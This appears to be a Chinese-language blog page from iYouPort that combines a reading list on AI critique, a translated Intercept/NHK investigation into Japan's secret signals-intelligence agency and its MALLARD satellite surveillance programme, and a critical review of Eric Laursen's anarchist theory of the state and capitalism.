📌 以下是本文中涉及的一些相关书目和论文推荐，以帮助您理解这篇文章中的内容 —— 下面所有内容均可在此下载：https://www.patreon.com/posts/wa-jue-ai-ji-qi-43038761

「图」

1、Meredith Broussard, Artificial Unintelligence: How Computers Misunderstand the World (Cambridge, Massachusetts, and London: MIT Press, 2018)

2、Daniel Crevier, AI: The Tumultuous History of the Search for Artificial Intelligence (New York: Basic Books, 1993)

3、Stuart J. Russell and Peter Norvig, Artificial Intelligence: A Modern Approach, 3rd ed, Prentice Hall Series in Artificial Intelligence (Upper Saddle River, NJ: Prentice Hall, 2010)

4、W. J. T. Mitchell, Picture Theory: Essays on Verbal and Visual Representation, Paperback ed., [Nachdr.] (Chicago: University of Chicago Press, 2007).

5、Lisa Feldman Barrett et al., “Emotional Expressions Reconsidered: Challenges to Inferring Emotion From Human Facial Movements,” Psychological Science in the Public Interest 20, no. 1 (July 17, 2019)

6、Alex Krizhevsky, Ilya Sutskever, and Geoffrey E. Hinton,

“ImageNet Classification with Deep Convolutional Neural Networks,” in Advances in Neural Information Processing Systems 25, ed. F. Pereira et al. (Curran Associates, Inc., 2012)

7、Anja Bechmann and Geoffrey C. Bowker, “Unsupervised by Any Other Name: Hidden Layers of Knowledge Production in Artificial Intelligence on Social Media,” Big Data & Society 6, no. 1 (January 2019)

8、Joy Buolamwini and Timnit Gebru, “Gender Shades: Intersectional Accuracy Disparities in Commercial Gender Classification,” in Conference on Fairness, Accountability, and Transparency, 2018

9、Gould, The Mismeasure of Man

10、视频：Amarjot Singh, Eye in the Sky: Real-Time Drone Surveillance System (DSS) for Violent Individuals Identification, 2018,

11、还有一个概述式的论文，主张思考方式，也是很好的：More than a few bad apps

Excavating AI

原文

揭示日本秘密间谍机构：拦截通信电邮、试图监视 Tor 网 - iYouPort

老大哥的真面目长读

调查发现了一个以前未被披露过的互联网监视计划，和位于日本南部的间谍中心，该中心的工作是通过通信卫星监听电话和电子邮件

「图」

「图」

这座被称为“C1”的办公大楼位于日本国防部高度安全性的大院内。但它不是一个普通的军事设施 – 它是信号情报局的秘密间谍机构总部 —— 日本版的国家安全局。

该机构的历史可以追溯到 20 世纪 50 年代，主要工作是窃听通信。但其业务仍然非常繁杂，以至于日本政府对其工作言知甚少 – 甚至没有透露过其总部所在地。大多数日本官员，除了少数总理的内部圈子外，都对该部门的活动保持沉默，这些活动只受有限法律框架的约束，不受任何独立监督。

现在，日本广播公司 NHK 与 The Intercept 合作了一项新调查，首次揭示了日本不透明间谍社区的内部运作细节。根据机密文件以及对熟悉该机构情报工作的现任和前任官员的访谈，调查发现了一个以前未被披露过的互联网监视计划，和位于日本南部的间谍中心，该中心的工作是通过通信卫星监听电话和电子邮件。

「图」

「图」

根据现任和前任官员的说法，信号情报局或者叫 DFS 拥有约 1,700 名员工，并且至少有六个监控设施可通过电话、电子邮件和其他通讯进行全天候窃听。（相比之下，美国国家安全局称其拥有超过

30,000 名员工，而英国的信号情报机构则声称拥有超过 6000 名员工）。间谍设施收集到的通讯信息将发回给在 C1 楼内工作的分析师，这些分析师的办公室占据四个地下楼层和八个地面楼层。

“很少有人知道 DFS 正在做什么，也很少有人可以进入大楼，”据一位了解该机构运营的现役官员说，由于他们没有被授权与媒体交谈，所以匿名发言。去年 NHK 揭露该间谍机构已获得一个名为 XKEYSCORE 的大众监视系统，该系统用于筛选人们的电子邮件、在线聊天、网络浏览历史和社交媒体活动信息的副本。

“Even inside of the Defense Ministry, the people did not understand what we were doing.”该机构在日语中被称为“Denpa-Bu”，意思是“电磁波段” – 目前有11个不同的部门，每个部门都专注于不同的主题，如信息分析、公共安全以及密码学。然而，现役军官说，这些部门是相互分开的，他们之间的交流很有限。C1 大楼内的每个部门都在其使用的房间安装了不同的锁，只有具有相应安全许可、访问代码和身份证明的特定人员才能打开这些锁。消息人士称，该局是日本国防情报局的最大分支机构，该机构的其他部门侧重于分析卫星图像。

在1987年至2005年期间，Atsushi Miyata 与该局和国防部合作过，他表示，他在间谍部门的工作涉及到监视朝鲜等邻国以及他们的军事活动。但该机构强烈的保密文化意味着它不愿意与日本政府的其他部门分享所收集到的信息。Miyata 说：“他们没有正确分享国防部内部的数据。“即使在国防部内部，报告也没有放在桌面上。所以人们不明白我们在做什么。“

2008 年美国国家安全局的一份备忘录将其日本同行描述为“仍处于冷战时期的经营方式”。美国继续与日本情报界密切合作，并与该国合作监测亚洲各国的通信情况。

「图」

「图」

东京西南700里程，有两个小镇叫做 Tachiarai 和 Chikuzen，总人口约为 44,000 人。被称为自卫队的日本军队的基地位于城镇之间的一片草地上。但是这个基地并不是用来训练士兵的。而是该国最重要的间谍中心之一。

该基地的地面设施看起来像一些巨型高尔夫球，引起当地居民的担忧，他们担心发出的强大无线电波可能会损害居民的健康或干扰他们

的电视机。日本政府派出高级官员向当地人保证，没有任何问题，政府开始向 Chikuzen 议会支付每年约10万美元的费用，作为该基地造成的干扰的补偿。但是那些天线的功能从未被揭示过。

来自 C1 大楼的绝密文件提供了对 Tachiarai 基地活动的一些前所未有的见解。该文件 – 英文PowerPoint 演示文稿 – 在2013年2月的一次会议上似乎已与美国国家安全局分享过，日本间谍机构当时的副主任计划与美国同行讨论情报收集问题。演示文稿包含在 Edward Snowden 向 The Intercept 提供的机密文件档案中。以前没有公开披露过这些日本监视机构的内部文件。

根据介绍，日本已经使用 Tachiarai 进行了代号为 MALLARD 的隐蔽式互联网监控方案。截至2012年中，该基地一直在使用其天线来监测通过卫星的通信。它每周收集大约 20 万次互联网会话记录，然后将其存储并分析两个月。从2012年12月到2013年1月，Tachiarai开始使用监控技术收集有关潜在网络攻击的信息。因此，其数据收集量迅速增加，并开始每小时清理大约 500,000 个互联网会话的信息 – 每天 1200 万。尽管如此，该局表示它只能检测到与明显的网络攻击有关的单一电子邮件。为努力应对收集的数据量，他们向 NSA 寻求帮助，“我们希望能看到美国方面采用的处理程序，以便不影响传统的信号情报收集，”该局告诉美国国家安全局说，“感谢你的技术援助。”

国家安全局发言人 Chris Augustine 拒绝回答有关该机构与日本合作的问题，他在一份声明中表示，他将“既不确认也不否认有关与外国情报机构潜在关系的信息”。他补充说：“情报部门之间的任何合作都是以相互加强国家安全的方式进行的。”

该机构在 Tachiarai 的工作似乎侧重于监测该地区的外国人。目前还不清楚是否通过像 MALLARD 这样的计划“有意或无意地”收集了日本公民的通信。日本的法律禁止在没有法院命令的情况下窃听固定电话，但监测通过卫星无线传输的通信信息是一个灰色地带，日本法律专家说，因为该国没有法律先例限制这种监视，尽管宪法规定了隐私的一般权利。

墨尔本大学教授 Richard Tanter 专门研究政府监视能力，据称 Tachiarai “可以看到”200多颗卫星，这意味着该基地可以使用其监视系统拦所有截通信和数据传输。Tanter 说，在 200 多颗卫星中，至少有30颗是中国卫星，并且是正在进行监视的潜在目标。此外，他补充说，“由俄罗斯、韩国、台湾、甚至美国或欧洲国家拥有或经营的卫星“ 都可能是 Tachiarai 设施的目标“。

Snowden 在2009年至2012年期间曾在美国驻日本的一个军事基地担任国家安全局的承包商，他告诉 The Intercept 日本间谍针对的是“整个互联网服务提供商，而不仅仅是一个客户”。他说，并不存在“一年内发生50万次少于一小时的恐怖主义内容交流 …不清楚这种监听方式在法律上是否能得到授权“。

Snowden told The Intercept that Japanese spies appeared have targeted “entire internet service providers, not just any one customer.”日本国防部发言人拒绝讨论 MALLARD，但表示该国的“信息收集活动”是国家安全所必需的，“遵守法律法规”是必要的。这位发言人承认，该机构在全国各地设有办事处，正在拦截通讯；然而，他坚持认为监视的重点是军事活动和“网络威胁”，并且“不收集公众的信息”。当被要求解释国家的间谍系统如何区分普通人的通信与威胁性的通信时，发言人称不会提供详细信息，理由是这样做“可能阻碍有效的未来信息活动”。

根据2013年的报告，2013年10月，信号情报局计划启动一项针对它被称为“匿名互联网”的行动。这表明该机构希望收集有关人们使用 Tor 等隐私工具的数据，这些工具允许用户在浏览互联网时隐藏他们计算机的 IP 地址。记者和异议人士经常使用 Tor 来逃避政府监视，当然犯罪分子也会用。据报道，2013年4月，日本警方敦促互联网服务提供商设法阻止使用 Tor “进行犯罪”的人。

知情人士透露，该机构在 Tachiarai 和其他地方的活动得到了 J6 组织的支持，该组织是与日本国防部相关的专业技术单位。然而，由于日本政府内部普遍存在的极端不透明性，该机构与 J6 之间合作的详细信息难以获取，各机构显然不愿意向另一机构公开其各自的能力。在2013年的报告中，该局的日本官员将 J6 的角色描述为美国国家安全局，但承认他们依靠“假设”来这样做，因为“J6 的职能没有透露给我们”。

根据介绍，该机构的职责是进行监督和分析情报。 J6 的作用包括分析恶意软件和制定对策 – 例如防火墙 – 以防止日本计算机系统被攻击。第三个组织称为内阁情报和研究组织（CIRO），是收集情报的最终受益者。由一位名叫 Shigeru Kitamura 的强大人物领导，它负责监督董事会和 J6 的工作，并与总理办公室有关，在一栋名为“H20”的大楼内，距东京总理官邸仅几步之遥，千代田区。

在 2000 年至 2005 年之间，在开发 MALLARD 互联网监控计划之前，扩大工作在 Tachiarai 进行。当时的市议会主席 Hitoshi Miyahara 被展示了一张施工图的地图，显示出一个隧道正在基地的

下方建造。然而 Miyahara 被允许访问施工现场，但被阻止进入地下区域。现任市议会主席 Tsutomu Yano 也有过类似的经历。大约四年前他参观了该设施，只限体育馆、自助餐厅和会议室周围，他被阻止进入地下隧道，并被告知此处用于“通信”。Yano 说，他质疑过自卫队有关 Tachiarai 设施的功能。但他从未得到过任何答案。

THE UNTOLD STORY OF JAPAN’S SECRET SPY AGENCY

by Ryan Gallagher

The Intercept & NHK

原文

改革还是变革？ - iyouport

免费书和纪录片无政府主义长读

要使反抗运动能抵抗国家，就需要提出国家无法满足的要求……

Eric Laursen 提出了一个关于现代国家性质的新的无政府主义理论，讨论了它与资本主义和所有其他形式的压迫之间的关系。他的重要讨论有强势的一面，但也有弱势的一面。

📌 在这里下载这本书：https://www.patreon.com/posts/gai-ge-huan-shi-54255602

“没有君主，没有与君主必然直接联系的整个组织的人民，就是无形的群众，它不再是一个国家。在一个民族中，不是在无法无天和无组织的条件下设想的，而是作为一个自我发展的和真正的有机整体 —— 在这样的民族中，主权是整体的人格，这在现实中只由君主的人格代表”—— 黑格尔在《法哲学》中这样写道。

与黑格尔观点相对的是无政府主义，它反对国家和任何 “君主”—— 无论是实际的国王、独裁者、寡头政治，还是 “民主” 选举的总统和议会的统治。

无政府主义不仅反对国家，而且反对所有形式的统治、剥削、精英主义和等级制度 —— 包括资本主义、白人至上主义、性别主义、民族主义、反生态学和同性恋恐惧症等等。

不过，它对国家的反对是一个主要的主题。因此，有点令人惊讶的是，无政府主义者目前没有更多关于国家是什么、做什么、它是如何结构的，以及它是如何产生的理论研究。

埃里克·劳尔森（Eric Laursen）正在用这部作品弥补这一讨论的不足。虽然几千年来都有国家这种东西，但他的主题是 “现代国家”，它始于16世纪。这个世纪经常被描述为资本主义的开端。

- 如果您错过了《爱国者悖论》

这本书的大部分内容是关于国家如何实际履行各种社会职能的叙述。他首先回顾了各国是如何应对Covid-19大流行病的。尽管人们普遍声称中央集权的国家对于处理瘟疫的爆发是“必要的”，但是，这本书展示了为什么国家实际上做得很差，而且现在也是如此。

从中国的疫情—— 最初由于官僚主义的面子而被否定 —— 到特朗普对该大流行病的各个方面处理不当的灾难，再到不愿意与所有国家分享物资和专利 …… 民族国家（以及他们盈利的药厂巨头伙伴）犯了可怕的错误。已经发生的科学突破本来可以通过公共支持的科学家和社区卫生机构的联合得到更好的组织。

- 如果您错过了《*“我参观了一个中国实验室。我学到的东西有助于解释关于 Covid-19 起源的冲突”*》

同时，国家鼓励的工业化农业在蹂躏野生土地的同时，也为未来的大流行病奠定了基础。劳尔森回顾了社会功能的其他一些方面，如教育、气候危机和性别不平等，所有这些都被国家管理得很差。他重点讨论了国家支持和扶持的核心身份群体的推广—— 如美国的白人或中国的汉族人。这样的群体虽然是受压迫人口的大多数，但却被教导要认同统治的精英。他们“高于”那些不在特权阶层的人。

从理论上讲，劳尔森将当前的社会描绘成一个由中央集权国家自上而下维系起来的机构网络。它们是机构，但也是活跃的过程，是一个环环相扣的系统。尽管有严重的政治分歧，他的观点与黑格尔的观点依旧有某些相似之处。

一个原本无组织的社会被总体性的国家揉合成一个整体：“国家 …… 是人类组织的一种形式，它渴望为每一个居民创造一个全面的社会、文化和功能环境，一个建立在创造财富之上的环境 ….。国家是 …… 一种形式和一套机构，一种思维方式”（第21页）。

像其他一些无政府主义者一样，劳尔森区分了以权力为导向的国家和“政府”，后者可能意味着一般的自我组织、社会协调和团体决策。与黑格尔相反，他认为“国家只是执行这些功能的一种方式”（第28页）。

- 如果您错过了《*国家*的危险神话》

古典“无政府主义者和马克思主义者曾将国家定义为一个由武装人员

组成的机构，拥有监狱和武器，外加官僚专家和政客。他们是一个站在社会其他部分之上的极少数，最终通过武力但也利用意识形态的影响来支配社会。 劳尔森并不拒绝这种描述："国家既依靠 '硬' 的警察和军事力量—— 统治，也依靠各种 '软' 的说服和诱导—— 霸权来强制默许"（第39页），也就是说，"暴力是国家的首要的和最后的控制方法，它日复一日地依靠文化霸权的复杂方式来保持民众的忠诚"（第112页）。

他对国家的基本比喻（他更喜欢称为 "类比"）是一个主程序，就如计算机的操作系统。它指导和组织所有的子系统，使它们的结构与整体模式相一致。

"国家是一个庞大的操作系统，用于安排和控制人类社会、经济、人口和自然界之间的功能和关系，类似于 Windows、Linux 或 MacOS 这样的数字操作系统"（第59页）。这个操作系统的隐喻反对把人类社会看成是由一捆静态的、平行的东西，其中之一就是国家。它的优点是把社会看作是一个具有相互作用的动态系统。但劳尔森将整个系统视为一个整体，而这个整体就是国家。

正如黑格尔认为所有的社会都有机地结合在君主的身上，劳尔森认为所有的东西，包括资本主义经济，都是国家的内部。就像黑格尔的 "君主" 那样，超级操作系统有自己的动机和个性。它 "渴望创造一个……环境"（第21页）；"国家[有]从长计议的诀窍"（第110页）；"是国家在这里带路"（第115页）；"国家有一种命运感。就像我们梦想着国家一样，它也梦想着自己—— 以及我们"（第152页）；"国家想知道一切，以便它能预测未来"（第138页）。

劳尔森把国家说成是一个系统或一套关系，甚至包括思想，而不是一个静态的东西，这是完全正确的。但是，当他把愿望、计划和动机赋予国家组织的时候，他走得太远了。这样的观点使人们更容易误认为国家是一个有意活跃的有机体，将所有社会拉到一个 "有机整体" 中。它夸大了国家下社会的统一性。它对内部冲突和矛盾强调不足。这本书涵盖了专制社会的各种子系统，与国家半区分，但最终被国家所支配，并由国家形成—— 正如劳尔森所认为的那样。这包括对妇女的压迫以及种族主义。在所有的子系统中，他考虑最多的是经济系统，在现代社会中就是资本主义。

国家和资本主义

「图」

在前资本主义社会—— 在 “现代国家” 之前—— 区分国家和经济是没有意义的。例如，在封建主义下，领主是国家（他们是领导武装附庸的战士），他们是经济统治阶层（他们是土地所有者，靠农奴生活）。其他功能，如宗教或艺术，都很好地融入了整个社会。没有一个国家是没有官方教会的。其他阶级社会也可以提出类似的观点，更不用说前阶级的狩猎了—— 采集社会。然而，在资本主义下，出现了一种功能性的分裂。管理企业的人—— 资产阶级 —— 与管理政府的人不是同一个人。通常情况下，欧洲国家由旧贵族的残余势力管理，而资产阶级的 “中产阶级”（社会地位中等，但不是富有的人群）正忙于通过剥削其工人而致富。

在 “自由民主” 下，国家由选举产生的职业政客管理，而极端富有的人则统治着半垄断的跨国公司（对其工人没有一丝内部民主）。时至今日，保守派理论家仍在坚持国家和市场经济的独立性，他们声称要为 “小政府” 和市场的 “自由” 而战；自由派坚持认为，政府应该干预经济。但他们的出发点是相同的，即：国家和市场之间的分裂。他们接受半竞争性的资本主义公司的基本独立性。

劳尔森反对这一前提：“这种区分是错误的。国家是一个经济实体，就像一个公司一样 .... 现代资本主义 ..... .如果没有国家提供规则、执行，..... 以及更关键的是，保持其盈利所需的信贷支持和补贴，就不可能存在”（第104–5页）。此外，“国家 ..... 是 ..... 建立在创造财富之上的”（第21页），而 “无政府主义 ..... 充分认识到资本主义和国家之间的联系 .... 根本问题不是资本或工资制度，而是国家”（第20页）。

国家与资本主义的联系被无政府主义者和马克思主义者普遍接受。有些人可能同意劳尔森的观点，即 它们实际上是一个机构，由国家组织：“资本主义制度 [是] 国家这个大系统的一个组成部分”（第111页），由此，“最重要的是，资本是国家的一部分”（第22页）。这种观点可能会导致过分强调国家对资本主义的权力：“当国家想要解决经济混乱问题时，它的权力几乎是无限的”（第53页）。也许在理论上，但它使用这种潜在的 “无限” 权力的意愿受到资本家的压力的限制。

- 对此，如果您错过了这本书《为什么选票无法帮你改变糟糕的现状？真正改变应该来自哪里？：权力的杠杆》

奥巴马政府对2008年大衰退的反应几乎不充分，就证明了这些限制。更重要的是，各国曾多次出现改革派社会主义者当选为国家公职人员。基于国家对经济的权力或多或少是 “无限” 的假设，他们试图实

施社会主义措施（或至少是自由主义措施）。但资本家们进行了反击，用“资本罢工”（关闭企业，拒绝雇用工人，把钱送到海外，等等）破坏经济。一般来说，社会主义的政治家们都屈服了。如果不是这样，大资产阶级可以补贴法西斯团伙，或者利用他们的影响力来推动军事政变。(这就是从二三十年代法西斯主义在欧洲的崛起到法国的弗朗索瓦·密特朗、英国工党的政府、智利的萨尔瓦多·阿连德、巴西的路易斯·伊纳西奥·卢拉·达席尔瓦的工人党、希腊的 Syriza，以及其他许多例子的历史）。

- 关于这点，《法西斯主义如何与资本主义融合以重新定义政府》
- 如果您错过了《从民主到自由》

与劳尔森不同，一些活动家认为国家和资本主义的统一是两个相互交织的、相互作用的系统，在许多方面相互支持，而不是一回事。是资本主义经济生产必要的商品和服务，没有这些商品和服务，社会就会立即崩溃。国家也生产一些商品和服务，这些商品和服务是对生产性经济的基本支持。这些包括道路和公立学校。然而，国家的大多数“产品和服务”都是经济废物：军备、警察镇压、军事基地，或对已经存在的资本主义公司的监管。国家需要资本主义来提供社会财富，而资本家则需要国家来保护他们不受劳动人口的反抗以及资本家相互之间的伤害。

- 如果您错过了《超越高堡奇人：在美中的帝国争霸之上》

最重要的是，资本主义是一种从工人身上榨取剩余的机制，通过劳动生产出额外的财富，而工人阶级却得不到报酬。这笔盈余不仅被资本家用于奢侈品和对扩张的经济进行再投资，而且，还必须用于支付国家（主要通过税收和贷款）。国家的核心是警察、士兵、政客、官僚，他们不生产财富；它耗费的是工人在资本主义经济中生产的财富。如果国家作为君主制的运作系统是必要的，以维持社会，那么资本主义经济是必要的，以提供这个社会。国家可能是社会的必要顶端，但资本主义是必要的基础—— 是对于这个专制社会，而不是对于所有可能的社会。

- 如果您错过了《不是躺平：一位工人讲述在工作场所成功的直接行动》

劳尔森明白，资本主义是一种扩大财富、促进增长和积累的机制，这对现代国家来说至关重要。不清楚他是否将资本主义理解为一个剥削体系，从其劳动力中抽出剩余（价值）。相反，他把重点放在市场上

的销售和大众消费上，作为利润的来源。“对资本来说，目标是创造尽可能大和统一的市场，因为这使它们更可预测，更容易从中提取最大的利润”（第112页），而且“资本和国家鼓励消费的愿望 ..... 促进了资本主义模式的无情经济增长”（第179页）。这种观点将使人难以理解自二战后的繁荣结束后（1970年左右），世界上大部分工人阶级的生活水平受到的攻击。在全世界，资产阶级和国家已经削减了福利，赶走了工会，并降低了工资。劳尔森知道这一点并描述了这个过程。但是，如果利润主要取决于扩大消费，而不是提高剥削率，这就没有意义了。

也许更重要的是，这种观点导致人们误认为资本主义缺乏很多内部冲突。资本家和工人似乎都有一个共同的利益，即 提高大众消费。而在现实中，工人（以及他们的家庭和社区）的利益与资本家的利益发生冲突，在他们的工资和工作的多少上。资本主义从根本上说是冲突的、竞争的和矛盾的。因此，有一个民众阶级在推翻资本主义及其国家方面有着自身的利益。

无政府马克思主义

「图」

讨论阶级冲突的部分使我们想到劳尔森对卡尔·马克思的资本主义和国家理论的看法。从迈克尔·巴枯宁开始，许多无政府主义者都认为，马克思的作品有一些方面是有用的。这包括他对社会和资本主义经济如何运作的分析（历史唯物主义和政治经济学的批判）。但是，对马克思见解的欣赏并没有阻止这些无政府主义者拒绝他的国家主义战略，或者 —— 特别是—— 马克思主义堕落为极权主义国家资本主义的意识形态。

- 如果您错过了这本书《党与人民：*21* 世纪的中国政治》

劳尔森对马克思的看法是高度批判性的，尽管令人惊讶的是，他承认无政府主义理论家彼得·克鲁泡特金持有与马克思相似的观点。“卡尔·马克思认为国家是资产阶级经济利益的创造者和执行者 .... 俄罗斯无政府主义者彼得·克鲁泡特金同意马克思的定义，只要它是这样的”（第56页）。作者认为，问题在于“马克思对控制国家的集团的定义过于狭窄，否认国家有任何‘意志’或自己的轨迹。同样，克鲁泡特金也没有把国家看作是它背后的自私利益的总和”（第58页）。

- 如果您错过了《走出被称为祖国的牢笼》

作为对马克思的国家理论的描述，这是不完美的，(我不会在这里讨论克鲁泡特金的观点）它忽略了马克思关于 “原始积累” 的著作。在马克思看来，资本主义是通过国家行为开始的。国家剥夺了欧洲农民的土地；夺取了亚洲、非洲和美洲（以及爱尔兰）的殖民地；对原住民发动了种族灭绝战争；绑架和奴役非洲人；掠夺环境；普遍促进了财富的集中，同时创造了无地工人人口。“这些手段 …… 都是利用国家的力量，即 社会集中的、有组织的力量，以温室式的方式加速封建生产向资本主义的转变过程 ….”。克鲁泡特金同意马克思关于国家在创造资本主义方面的关键作用的看法，但是他批评任何关于 ”国家没有继续维持资本主义“ 的暗示。

马克思进一步发展了他的国家概念。这表现在他在1852年的《路易·波拿巴的雾月十八日》中对法国路易·拿破仑三世的独裁统治的分析。他提出了一个 “波拿巴主义” 的概念，弗里德里希·恩格斯在德国关于俾斯麦的著作中也表达了这个概念。他们指出，国家在各种阶级力量之间是平衡的。即使在上层阶级内部也有一些阶级分化的代理人，他们给国家带来了相互冲突的压力。他们看到，国家作为一个机构有自己的利益，其官僚、政治和军事人员也是如此。有时，在议会民主制下，资产阶级大多直接控制着国家。在其他时候，他们被拒之门外，如路易·波拿巴的 “帝国” 或俾斯麦的普鲁士（或后来的法西斯主义），而国家追求自己的利益。即使没有民主权利，资产阶级也继续剥削他们的雇员并积累利润 —— 这是他们的主要关切。

根据马克思和恩格斯关于 “波拿巴主义” 的论述，即使在资产阶级民主制度下，国家 —— 特别是其行政部门也有一种相对于社会其他部门来说越来越自主的趋势。这在政治独裁统治下达到了顶峰。国家对资产阶级的直接控制越来越少，并可能与特定部门的直接利益发生冲突。然而，总的来说，它维持着资本-劳动关系、市场、资本主义制度的稳定，以及本国资本家与其他国家资本家的利益。这种观念与无政府主义是一致的。在索尔·纽曼看来，“无政府主义把马克思的波拿巴主义国家的概念带到了它的逻辑结论” 。

对于理解马克思主义的国家理论来说，弗雷德里克·恩格斯关于国家资本主义的讨论也是至关重要的。马克思预计，资本的集中和集中化程度会提高。他的同事恩格斯讨论了生产资本与国家最终合并的趋势。个人资产阶级将成为边缘化的寄生虫，而国家化的经济将由官僚（“受薪雇员”）管理。然而，这仍然是资本主义：“资本主义社会的官方代表 —— 国家，最终将不得不承担生产的方向 ….。现代国家，无论其形式如何，本质上都是一个资本主义机器，是资本家的国家，是整个国家资本的理想化身。它越是着手接管生产力，就越是实际成

为民族资本家，越是剥削公民。工人仍然是雇佣工人 —— 无产者。资本主义关系并没有被消除。相反，它到了非做决定不可的紧急关头。”

- 如果您错过了《剥削压迫、血汗工厂、强迫劳动、生态破坏 …… 高科技背后的现代奴隶制》

恩格斯或马克思是否预期这种趋势会真正达到实现，还不确定。然而，在俄国革命之后，许多马克思主义者接受了作为 “社会主义” 或 “工人国家” 形式的法定资本主义。无政府主义者，仍然忠于他们的传统，拒绝其作为 ‘国家资本主义’”。总之，像劳尔森那样把马克思的资本主义国家理论简单地描述为 “资产阶级经济利益的创造者和执行者……否认国家有任何自己的 ’意志’ 或轨迹 …… 不过是它背后的自私利益的总和”（第56–58页），这是一种歪曲。

- 相关推荐内容《没有”革命的政府”这种东西：为什么你不能用国家废除阶级》

我的观点并不是要赞扬马克思，也不是要批评那些把国家视为资本主义社会主导机构的无政府主义者。我知道马克思理论的弱点，我欣赏那些无政府主义者的工作，比如劳尔森，他们关注国家。我的观点是，是否理解资本主义的内部矛盾和阶级冲突是社会运作的基础 —— 而且仍然可以理解劳尔森所描述的国家的自主 “意志和轨迹”，即 它自身的动力。这些官僚主义的驱动力与资本主义的动力（也与其他子系统的动力，如父权制或白人至上主义）互动。从马克思主义的角度和从革命的阶级斗争无政府主义-社会主义的角度看，这都是真实的。

革命

「图」

劳尔森的结论是，无政府主义的转变 “不仅仅是一个可以努力实现的社会理想的结果，而是一种生存的需要”（第17页）。我们面临着经济衰退、大流行病和战争（有核战争的危险），以及其他社会弊端：“今天，灾难性的气候恶化迫在眉睫，我们为之奋斗的不仅仅是一个公正的社会；我们在为生存而奋斗”（第47页）。

- 如果您错过了《终结政府》

这种认识常常被表述为罗莎·卢森堡的一句话：“不能社会主义就只能野蛮”，它并不排除为改革和有限的改善而进行的斗争，但是，它提

出了改造社会的战略目标。从他对国家的核心作用及其与资本的联系的分析中，劳尔森得出了某些纲领性结论。他反对改革派国家社会主义（“民主社会主义”或社会民主主义）的方案。国家不能通过选举被接管，然后被用来改变它所存在以维持的制度本身。同样的拒绝也适用于推翻现有国家并以新的国家取而代之的“革命”方案，然后利用新的国家来改变社会。劳尔森把这比作“用**Windows**取代**iOS** ——用一个国家的版本换取另一个国家的版本”。(p. 204).

- 如果您错过了《*“21*世纪的资本”：一部讲述我们如何陷入困境的纪录片》

但国家仍然是一个国家，一个官僚-军事的社会异化机器，凌驾于社会的其他部分之上，为少数精英剥削广大民众服务。劳尔森指出，“无政府主义是社会主义的形式”之一（第15页）。它是反资本主义的，赞成集体的、合作的、非营利的经济。但“要摆脱资本主义就必须摆脱国家”（第111页）。同样地，劳尔森反对无政府主义的改革主义和渐进主义战略。许多无政府主义者提议过替代的生活方式，建立替代的机构，打算忽略国家和大资本。他们希望绕过国家，和平地创造一个新的社会，尽量减少与精英及其武装力量的直接冲突（如果有的话）。

不过，劳尔森还是赞成建立不依赖政府或大企业的替代性组织，如合作组织。他还赞成建立反对机构的社会力量：社区组织；工会；反对战争、反对种族主义或性别歧视的运动。当国家受到来自外部和内部的挑战时，即使是改革派也很有可能获胜。“劳动人民的物质福利和政治地位的每一个重要进步，从 **……** 产业工人的体面工资和尊严到种族平等，都得益于首先在国家之外形成的、反对国家权力结构的社会运动，而 **……** 当这些社会运动萎缩或被国家吞并时，这些进步就失去了”（215页）。

“要使这些运动能抵抗国家，就需要“提出 **[**国家**]** 无法满足的要求”（第**205**页）。这些要求有时被称为“过渡性要求”或“非改革性的改革”。

- 推荐重要内容《要运动，不诉求》

劳尔森坚持认为，最终必须要有一场革命，推翻国家和它所支持的机构。一场革命将需要一个积累期，即 独立的民众组织和群众运动正在成长的时期，以及一个之后的时期，即 新制度扎根和巩固的时期。在这两者之间，将必须有某种叛乱，某种冲突：“国家……将不惜一切代价来维护自己….。几乎可以肯定的是，在某个时候会有一场武装斗

争…. 国家不会消失，除非我们迫使它消失”（第220页）。

一旦事件准备好了，谁将进行这场最终的革命？劳尔森写道：“活动家 [和] ……大多数人口…… [当人们] 停止与 [现行制度] 合作时”（第220页）。

然而，这部分人口多数是由工人阶级组成的：为工资或薪金工作的人（不做主管）以及他们的家属。这些人有很多身份，包括各种种族、宗教、民族、移民身份、年龄、两种性别中的一种，以及各种性取向和身份。所有这些都很重要，而且大多数人都有理由反对既定的权力（即“操作系统”或其他）。所有这些类别都相互重叠，特别是与工人阶级重叠。他们在一起对国家至少有一个优势：他们的庞大基数。这与少数统治阶级的金钱和武装力量相对立（但军队的队伍大多是工人阶级的子弟兵）。更重要的是，民众拥有的反对国家和资本的潜在力量来自于他们大部分是工人阶级。正是作为工人，他们掌握着生产、分配、通讯、运输和服务的手段。作为工人阶级，人民可以关闭所有系统，并以不同的方式重新启动它们。

在他唯一提到工人阶级的地方，劳尔森写道：“工人阶级已经被分裂和中立化了”（第44页）。这是事实。它的一部分是自由主义的，而另一部分则是相当反动的。最近，自认为是“社会主义者”甚至是“无政府主义者”的年轻工人阶级的人数有所增加，尽管这些术语对他们来说意味着什么还不确定。然而这仍然是少数。几乎所有的美国人——被认定为工人或其他身份的人——都不赞成革命的无政府主义，这就是革命的战略目标，而不是一个即时项目。然而，如果我们着眼于资本主义的内部冲突，劳动人民的利益与企业富人的利益之间的冲突，以及资本主义支持的国家未能为劳动人民的利益服务，我们可能会看到无政府主义者再次建立“有效的群众革命运动”的可能性（第17页）。

结论

「图」

国家是这个社会的核心机构。它有自己的驱动力，但在所有方面都与资本主义紧密相连。它也与所有其他压迫性的子系统结合在一起。为了摆脱资本主义，为了避免气候灾难，为了结束种族和性别以及所有其他压迫，有必要推翻国家。这些概念在埃里克·劳尔森的书中被提出。如果无政府主义要成为一个连贯而有效的革命力量，这些就是必不可少的想法。

然而，在我看来，他的书中有一些局限性。他对国家的首要比喻是作为一个主操作系统。无论它在显示社会的动态和互动方面有什么优势，它都会导致低估社会内部的冲突，例如资本家和国家之间的冲突。特别是，它导致淡化了资本主义内部的阶级冲突。该书在考虑另一种社会制度可能是什么样的方面也很薄弱。有时，他顺便提到了现在和过去人们以分散、参与和合作的方式组织起来的可能性。这些都太有限了。他没有解决人们普遍提出的问题，如如何保护人们免受反社会行为者或侵略性帝国主义国家的侵害？在一个自由意志主义的社会中，将如何使用现代技术？

我不想批评劳尔森没有写出一本与众不同的书，但反对国家的论证需要有更多关于没有国家的社会如何运作的设想。

总之，埃里克·劳尔森向我们展示了发展关于国家及其与资本主义和社会其他部分关系的无政府主义理论的一个重要尝试。它非常值得阅读、讨论和思考。○

[1]. Quoted in Dwight Macdonald, Memoirs of a Revolutionist (Farrar, Straus & Cudahy, 1957), 58.

